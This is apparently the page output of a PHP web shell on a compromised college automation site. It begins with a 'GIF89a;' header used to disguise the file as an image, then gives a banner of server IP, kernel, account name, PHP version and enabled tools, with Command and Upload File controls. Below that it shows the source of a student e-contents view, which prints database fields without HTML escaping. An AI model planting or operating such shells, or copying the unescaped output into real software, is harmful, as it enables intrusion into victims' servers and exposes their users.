GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.15.14.245 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/css/../../cas/application/views/student/assessment/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>My E-Contents | <?php echo $this->session->userdata("studentData")["branch_short_name"]; ?> | College Automation System</title> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' /> <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>"> <link href="http://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap" rel="stylesheet"> <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body class="cbp-spmenu-push"> <section> <?php $this->load->view("student/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("student/Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item">Assessments</li> <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("student/TasksAndQuizzes/eContents"); ?>">My E-Contents</a></li> </ol> </nav> <section class="data-tables"> <div class="card card_border p-4"> <h3 class="card__title"><i class="fa fa-internet-explorer"></i> My E-Contents</h3><br> <div class="table-responsive"> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <table id="myModelPapers" class="bootstrap-datatable table-striped table-hover" style="width:100%"> <thead> <tr> <th>Sr. No</th> <th>Title</th> <th>Description</th> <th>Note/Instruction</th> <th>Subject</th> <th>Given By</th> <th>Start Date</th> <th>End Date</th> <th>View/Download</th> </tr> </thead> <tfoot> <tr> <th>Sr. No</th> <th>Title</th> <th>Description</th> <th>Note/Instruction</th> <th>Subject</th> <th>Given By</th> <th>Start Date</th> <th>End Date</th> <th>View/Download</th> </tr> <tbody> <?php for ($i = 0; $i < sizeof($myEContents); $i++) { $record = $myEContents[$i]; ?> <tr> <td><?php echo ($i + 1); ?></td> <th><?php echo stripslashes($record->ecm_title); ?></th> <th><?php echo stripslashes($record->ecm_description); ?></th> <th><?php echo stripslashes($record->ecsm_note); ?></th> <th><?php echo stripslashes($record->sm_name); ?></th> <th><?php echo stripslashes($record->addedByAdmin); ?></th> <td><?php echo date("d-m-Y", strtotime($record->ecsm_start_date)); ?></td> <td><?php echo date("d-m-Y", strtotime($record->ecsm_end_date)); ?></td> <td> <?php $currentDate = date('Y-m-d', strtotime(date('Y-m-d'))); $startDate = date('Y-m-d', strtotime($record->ecsm_start_date)); $endDate = date('Y-m-d', strtotime($record->ecsm_end_date)); if (($currentDate >= $startDate) && ($currentDate <= $endDate)) { ?> <a href="<?php echo base_url($record->ecm_file); ?>" ><i class="fa fa-eye"></i> View/Download</a> <?php } else { ?> <button class="badge badge-danger" disabled="disabled">Unavialble <i class="fa fa-external-link"></i></button> <?php } ?> <a></a> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </section> </div> </div> </section> <script> $(document).ready(function () { $("#myModelPapers").DataTable({responsive: true, dom: 'Blfrtip'}); }); function showDetailedResultObjective(mepm_id) { event.preventDefault(); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('student/TasksAndQuizzes/getModelPaperAttemptFullDetail/'); ?>', data: {mepm_id: mepm_id, tspi_id: <?php echo $this->session->userdata("studentData")["stu_id"]; ?>, csrf_token: csrfHash}, type: 'POST', success: function (result) { $(".se-pre-con").fadeOut("slow"); var detailedResultInfo = JSON.parse(result); csrfHash = detailedResultInfo.csrfHash; var resultDetails = ""; for (var i = 0; i < detailedResultInfo.student_attempt_info.length; i++) { if (detailedResultInfo.student_attempt_info[i].is_correct) { resultDetails += "<tr style='background-color:#beeabe;color:#000;'>"; } else { resultDetails += "<tr style='background-color:#e08484;color:#FFF;'>"; } resultDetails += "<td>" + (i + 1) + "</td>"; if (detailedResultInfo.student_attempt_info[i].is_group_quest) { resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].qest_group + "<br>" + detailedResultInfo.student_attempt_info[i].qest_group_image + "<br>"; resultDetails += "<br>" + detailedResultInfo.student_attempt_info[i].qestion + "<br>" + detailedResultInfo.student_attempt_info[i].qestion_image + "</td>"; } else { resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].qestion + "<br>" + detailedResultInfo.student_attempt_info[i].qestion_image + "</td>"; } resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].opt_a + "<br>" + detailedResultInfo.student_attempt_info[i].opt_a_img + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].opt_b + "<br>" + detailedResultInfo.student_attempt_info[i].opt_b_img + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].opt_c + "<br>" + detailedResultInfo.student_attempt_info[i].opt_c_img + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].opt_d + "<br>" + detailedResultInfo.student_attempt_info[i].opt_d_img + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].correct_opt + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].response + "</td>"; resultDetails += "<td>" + detailedResultInfo.student_attempt_info[i].marks_awarded + "</td>"; resultDetails += "</tr>"; } $("#resultDetails").html(resultDetails); $("#resultDetailModal").modal('show'); } }); } function attemptModelPaper(mepm_id) { if (confirm("Are You Really Ready To Attempt This Model Paper? You Will Be Marked As Attempted If You Proceed? Click OK To Continue & Cancel Otherwise.")) { window.location.href = "<?php echo site_url('student/TasksAndQuizzes/attemptModelPaper/'); ?>" + mepm_id; } } </script> <?php $this->load->view("admin/footer"); ?> <!-- Detailed Result Modal Starts --> <div class="modal fade" id="resultDetailModal" role="dialog" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Result Details</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;"> <fieldset> <div class="row"> <table class="table table-striped table-default"> <thead> <tr> <th>Sr. No.</th> <th>Question</th> <th>A</th> <th>B</th> <th>C</th> <th>D</th> <th>Correct</th> <th>Marked</th> <th>Marks Awarded</th> </tr> </thead> <tbody id="resultDetails"></tbody> </table> </div> </fieldset> </div> <div class="modal-footer"> <button class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- Detailed Result Modal Starts --> </body> </html>